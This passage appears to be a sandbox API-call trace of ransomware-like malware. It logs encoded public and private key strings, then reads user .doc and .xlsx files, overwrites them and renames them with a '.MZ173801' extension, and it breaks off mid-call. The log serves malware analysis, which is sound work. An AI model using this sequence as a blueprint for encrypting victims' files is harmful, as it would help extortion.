lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0169.093] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x32289ac, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0169.093] GetCurrentThreadId () returned 0xab4 [0169.093] GetCurrentThreadId () returned 0xab4 [0169.093] GetCurrentThreadId () returned 0xab4 [0169.093] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\SyPgeh2hWXPmhIqZ_oMv.doc" (normalized: "c:\\users\\fd1hvy\\documents\\sypgeh2hwxpmhiqz_omv.doc"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x278 [0169.093] SetFilePointer (in: hFile=0x278, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0169.094] SetFilePointer (in: hFile=0x278, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0169.094] SetFilePointer (in: hFile=0x278, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0xd045 [0169.094] SetFilePointer (in: hFile=0x278, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0169.094] ReadFile (in: hFile=0x278, lpBuffer=0x24a0010, nNumberOfBytesToRead=0xd045, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x24a0010*, lpNumberOfBytesRead=0x19fa18*=0xd045, lpOverlapped=0x0) returned 1 [0169.095] CloseHandle (hObject=0x278) returned 1 [0169.096] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\SyPgeh2hWXPmhIqZ_oMv.doc" (normalized: "c:\\users\\fd1hvy\\documents\\sypgeh2hwxpmhiqz_omv.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x278 [0169.098] WriteFile (in: hFile=0x278, lpBuffer=0x24ae040*, nNumberOfBytesToWrite=0xd045, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x24ae040*, lpNumberOfBytesWritten=0x19fa24*=0xd045, lpOverlapped=0x0) returned 1 [0169.100] CloseHandle (hObject=0x278) returned 1 [0169.100] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\SyPgeh2hWXPmhIqZ_oMv.doc" (normalized: "c:\\users\\fd1hvy\\documents\\sypgeh2hwxpmhiqz_omv.doc"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\SyPgeh2hWXPmhIqZ_oMv.doc.MZ173801" (normalized: "c:\\users\\fd1hvy\\documents\\sypgeh2hwxpmhiqz_omv.doc.mz173801")) returned 1 [0169.101] GetCurrentThreadId () returned 0xab4 [0169.101] GetCurrentThreadId () returned 0xab4 [0169.101] GetCurrentThreadId () returned 0xab4 [0169.101] GetCurrentThreadId () returned 0xab4 [0169.101] GetCurrentThreadId () returned 0xab4 [0169.101] GetCurrentThreadId () returned 0xab4 [0169.101] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c95bdf0, ftCreationTime.dwHighDateTime=0x1d57b5d, ftLastAccessTime.dwLowDateTime=0x7f06d7f0, ftLastAccessTime.dwHighDateTime=0x1d5e388, ftLastWriteTime.dwLowDateTime=0x7f06d7f0, ftLastWriteTime.dwHighDateTime=0x1d5e388, nFileSizeHigh=0x0, nFileSizeLow=0xba8b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="YYk-.xlsx", cAlternateFileName="YYK-~1.XLS")) returned 1 [0169.101] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0169.101] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0169.101] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\YYk-.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\yyk-.xlsx"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c95bdf0, ftCreationTime.dwHighDateTime=0x1d57b5d, ftLastAccessTime.dwLowDateTime=0x7f06d7f0, ftLastAccessTime.dwHighDateTime=0x1d5e388, ftLastWriteTime.dwLowDateTime=0x7f06d7f0, ftLastWriteTime.dwHighDateTime=0x1d5e388, nFileSizeHigh=0x0, nFileSizeLow=0xba8b)) returned 1 [0169.101] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\YYk-.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\yyk-.xlsx")) returned 0x20 [0169.101] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\YYk-.xlsx", dwFileAttributes=0x80) returned 1 [0169.103] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0169.103] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x321061c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0169.104] GetCurrentThreadId () returned 0xab4 [0169.105] GetCurrentThreadId () returned 0xab4 [0169.105] GetCurrentThreadId () returned 0xab4 [0169.105] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0169.105] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x322167c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0169.105] GetCurrentThreadId () returned 0xab4 [0169.105] GetCurrentThreadId () returned 0xab4 [0169.105] GetCurrentThreadId () returned 0xab4 [0169.106] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\YYk-.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\yyk-.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x278 [0169.106] SetFilePointer (in: hFile=0x278, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0169.106] SetFilePointer (in: hFile=0x278, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0169.106] SetFilePointer (in: hFile=0x278, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0xba8b [0169.106] SetFilePointer (in: hFile=0x278, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0169.106] ReadFile (in: hFile=0x278, lpBuffer=0x24a0010, nNumberOfBytesToRead=0xba8b, 